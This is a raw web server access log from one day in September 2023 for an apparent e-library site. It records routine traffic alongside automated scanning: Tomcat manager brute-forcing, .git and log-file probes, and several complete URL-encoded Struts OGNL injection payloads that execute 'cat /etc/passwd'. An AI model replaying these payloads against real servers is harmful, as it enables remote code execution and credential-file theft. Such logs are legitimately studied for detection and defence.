127.0.0.1 - - [10/Sep/2023:00:24:20 -0400] "GET /app-ads.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:00:24:20 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:00:24:22 -0400] "GET /app-ads.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:00:24:22 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:00:42:09 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:00:42:09 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:00:42:10 -0400] "GET /humans.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:00:42:10 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:00:42:10 -0400] "GET /ads.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:00:42:10 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:00:42:11 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:00:42:11 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:01:03:59 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:01:03:59 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:01:04:00 -0400] "GET /temp/ehcache_auto_created2540548329189569579diskstore/home HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:01:13:00 -0400] "GET /work/Catalina/cyberschoolelibrary.com/ROOT/org/apache/jsp/WEB_002dINF/ HTTP/1.1" 200 2145 205.210.31.220 - - [10/Sep/2023:01:54:16 -0400] ")f )fF,]tRoh/+0,'# ($ " 400 - 127.0.0.1 - - [10/Sep/2023:02:00:01 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [10/Sep/2023:02:00:02 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [10/Sep/2023:02:00:02 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [10/Sep/2023:02:00:03 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [10/Sep/2023:02:00:04 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [10/Sep/2023:02:00:04 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [10/Sep/2023:02:00:05 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [10/Sep/2023:02:00:05 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [10/Sep/2023:02:00:06 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [10/Sep/2023:02:00:06 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [10/Sep/2023:02:00:07 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [10/Sep/2023:02:00:07 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [10/Sep/2023:02:00:11 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [10/Sep/2023:02:00:12 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 77 127.0.0.1 - - [10/Sep/2023:02:00:15 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [10/Sep/2023:02:00:15 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 77 127.0.0.1 - - [10/Sep/2023:02:00:18 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [10/Sep/2023:02:00:19 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 77 127.0.0.1 - - [10/Sep/2023:02:24:10 -0400] "GET /work?C=N%3BO%3DD HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:02:24:12 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:02:25:22 -0400] "GET /webapps?C=N%3BO%3DD HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:02:25:23 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:02:46:58 -0400] "GET /work/Catalina/localhost/ROOT/org/apache/jsp/WEB_002dINF/?C=N;O=D HTTP/1.1" 200 2145 92.118.39.40 - - [10/Sep/2023:02:50:50 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:03:03:58 -0400] "GET /work/Catalina/localhost/pdf-manager/org/apache/jsp/WEB_002dINF/pages/error/?C=D;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:03:11:04 -0400] "GET /work/Catalina/localhost/pdf-manager/org/apache/jsp/WEB_002dINF/pages/error/?C=S;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:03:14:33 -0400] "GET /work/Catalina/localhost/1/org/apache/?C=N;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:03:17:57 -0400] "GET /work/Catalina/localhost/pdf-manager/org/apache/jsp/WEB_002dINF/pages/error/?C=M;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:03:46:00 -0400] "GET /webapps/docs/config/automatic-deployment.html HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:03:54:49 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:03:54:49 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:03:54:49 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:03:55:08 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:03:59:55 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:03:59:55 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:04:00:09 -0400] "GET /work/Catalina/localhost/ROOT/org/apache/?C=M;O=A HTTP/1.1" 200 2145 139.144.52.241 - - [10/Sep/2023:04:02:38 -0400] "GET / HTTP/1.0" 302 - 139.144.52.241 - - [10/Sep/2023:04:03:43 -0400] "GET /CSS/Miniweb.css HTTP/1.1" 200 2145 139.144.52.241 - - [10/Sep/2023:04:03:43 -0400] "GET /Portal/Portal.mwsl HTTP/1.1" 200 2145 139.144.52.241 - - [10/Sep/2023:04:03:44 -0400] "GET /docs/cplugError.html/ HTTP/1.1" 404 1034 139.144.52.241 - - [10/Sep/2023:04:03:44 -0400] "GET / HTTP/1.1" 302 - 139.144.52.241 - - [10/Sep/2023:04:03:44 -0400] "HEAD / HTTP/1.1" 302 - 139.144.52.241 - - [10/Sep/2023:04:03:44 -0400] "GET / HTTP/1.1" 302 - 139.144.52.241 - - [10/Sep/2023:04:03:45 -0400] "GET /RDSs HTTP/1.1" 302 - 139.144.52.241 - - [10/Sep/2023:04:03:45 -0400] "GET /menu.html HTTP/1.1" 302 - 139.144.52.241 - - [10/Sep/2023:04:03:49 -0400] "GET / HTTP/1.1" 302 - 139.144.52.241 - - [10/Sep/2023:04:03:52 -0400] "GET /favicon.ico HTTP/1.1" 302 - 139.144.52.241 - - [10/Sep/2023:04:03:53 -0400] "GET / HTTP/1.1" 302 - 139.144.52.241 - - [10/Sep/2023:04:05:23 -0400] "GET / HTTP/1.0" 302 - 139.144.52.241 - - [10/Sep/2023:04:05:23 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:04:05:55 -0400] "GET /webapps/tomcat/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:04:07:42 -0400] "GET /work/Catalina/cyberschoolelibrary.com/pdf-manager/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:04:12:10 -0400] "GET /work/Catalina/localhost/examples/org/apache/?C=D;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:04:21:48 -0400] "GET /style.php?sig=rename HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:04:21:48 -0400] "GET /login HTTP/1.1" 200 4254 185.36.81.33 - - [10/Sep/2023:04:30:16 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:04:45:53 -0400] "GET /work/Catalina/localhost/host-manager/org/apache/jsp/WEB_002dINF/jsp/?C=N;O=D HTTP/1.1" 200 2145 45.227.254.48 - - [10/Sep/2023:04:49:20 -0400] "/*Cookie: mstshash=Administr " 400 - 127.0.0.1 - - [10/Sep/2023:04:52:00 -0400] "GET /sitemap_index.xml HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:04:52:00 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:05:40:04 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:05:41:20 -0400] "GET /sitemap_index.xml HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:05:41:21 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:06:36:58 -0400] "GET /wp-content/plugins/simple-forum/resources/jscript/ajaxupload/ajaxupload.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:06:37:56 -0400] "GET /work/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/?C=M;O=A HTTP/1.1" 200 2145 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:24 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:25 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:25 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:25 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:25 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:25 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:07:19:25 -0400] "GET /manager/html HTTP/1.1" 401 2538 127.0.0.1 - - [10/Sep/2023:07:45:47 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:07:45:47 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:07:48:44 -0400] "GET /bin?C=M%3BO%3DA HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:07:48:46 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:07:54:12 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:07:54:12 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:07:54:12 -0400] "GET /bin/GED%20L2%20Mathematics%20studentv4.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:07:54:14 -0400] "GET /bin/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:07:54:14 -0400] "GET /bin/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:08:33:17 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:08:33:18 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:09:06:06 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:09:06:06 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:09:06:06 -0400] "GET /work/Catalina/cyberschoolelibrary.com/pdf-manager/org/apache/jsp/WEB_002dINF/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:09:06:07 -0400] "GET /logs/localhost_access_log..2022-05-01.txt HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:09:06:08 -0400] "GET /work/Catalina/cyberschoolelibrary.com/pdf-manager/org/apache/jsp/WEB_002dINF/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:09:06:08 -0400] "GET /work/Catalina/cyberschoolelibrary.com/pdf-manager/org/apache/jsp/WEB_002dINF/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:09:06:09 -0400] "GET /work/Catalina/cyberschoolelibrary.com/pdf-manager/org/apache/jsp/WEB_002dINF/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:09:06:09 -0400] "GET /logs/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:09:06:10 -0400] "GET /logs/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:09:31:08 -0400] "GET /lib?C=D%3BO%3DA HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:09:31:10 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:09:42:19 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:09:42:23 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:09:51:06 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:09:51:06 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:09:51:06 -0400] "GET /logs/localhost_access_log..2023-06-20.txt HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:10:09:04 -0400] "GET /LICENSE HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:10:09:05 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:10:14:32 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:10:20:22 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:10:20:22 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:10:20:24 -0400] "GET /webapps/examples/jsp/security/protected/%3C%25=%20response.encodeURL(%22index.jsp?logoff=true%22)%20%25%3E HTTP/1.1" 404 1154 127.0.0.1 - - [10/Sep/2023:10:21:56 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:10:24:44 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:10:32:54 -0400] "GET /bin/GED%20L2%20Mathematics%20studentv4.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:10:32:55 -0400] "GET /bin/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:10:32:55 -0400] "GET /bin/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:10:32:55 -0400] "GET /bin/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:10:33:12 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:10:33:14 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:11:13:11 -0400] "GET /work/Catalina/cyberschoolelibrary.com/pdf-manager/?C=N;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:11:17:46 -0400] "GET /work/Catalina/localhost/wrapper-interface/org/apache/jsp/?C=S;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:11:26:20 -0400] "GET /lib?C=N%3BO%3DD HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:11:26:22 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:11:49:46 -0400] "GET /work/Catalina/localhost/manager/home HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:12:13:12 -0400] "GET /work/Catalina/cyberschoolelibrary.com/host-manager/?C=D;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:12:33:25 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:12:33:25 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:12:33:25 -0400] "GET /logs/localhost_access_log..2023-02-02.txt HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:12:48:46 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:12:48:46 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:13:07:23 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:13:07:23 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:13:07:24 -0400] "GET /webapps/examples/jsp/home HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:13:31:38 -0400] "GET /.git/config HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:13:31:38 -0400] "GET /.git/config HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:13:32:14 -0400] "GET /.git/config HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:13:32:14 -0400] "GET /.git/config HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:14:05:51 -0400] "GET /webapps/tomcat/META-INF/home HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:14:22:34 -0400] "GET /wp-22.php?sfilename=on.php&sfilecontent=<%3F%3D409723%2A20%3B&supfiles=on.php HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:22:34 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:14:33:26 -0400] "POST /user.action HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:33:27 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:33:27 -0400] "GET /?id=zEWfFD%25{128*128} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:33:29 -0400] "GET /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:33:33 -0400] "POST /integration/saveGangster.action HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:14:34:32 -0400] "POST /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:35:24 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:38:39 -0400] "GET /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:38:41 -0400] "POST /user.action HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:38:45 -0400] "GET /?id=zEWfFD%25{128*128} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:38:47 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:39:54 -0400] "POST /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:41:31 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:52:36 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:14:52:36 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:15:12:09 -0400] "GET /work/Catalina/cyberschoolelibrary.com/ROOT/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:15:12:41 -0400] "POST /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:15:12:41 -0400] "GET /?id=zEWfFD%25{128*128} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:15:12:42 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:15:12:43 -0400] "POST /integration/saveGangster.action HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:15:12:49 -0400] "POST /user.action HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:15:12:50 -0400] "GET /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:15:14:40 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:15:14:41 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:15:14:41 -0400] "GET /webapps/docs/tribes/setup.html HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:15:16:14 -0400] "GET /logs?C=S%3BO%3DA HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:15:16:16 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:15:21:53 -0400] "GET /webapps/tomcat.tomcat.5/ HTTP/1.1" 200 2145 185.254.37.7 - - [10/Sep/2023:15:30:57 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:57 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:57 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:57 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:57 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:57 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:57 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:58 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:58 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:58 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:58 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:58 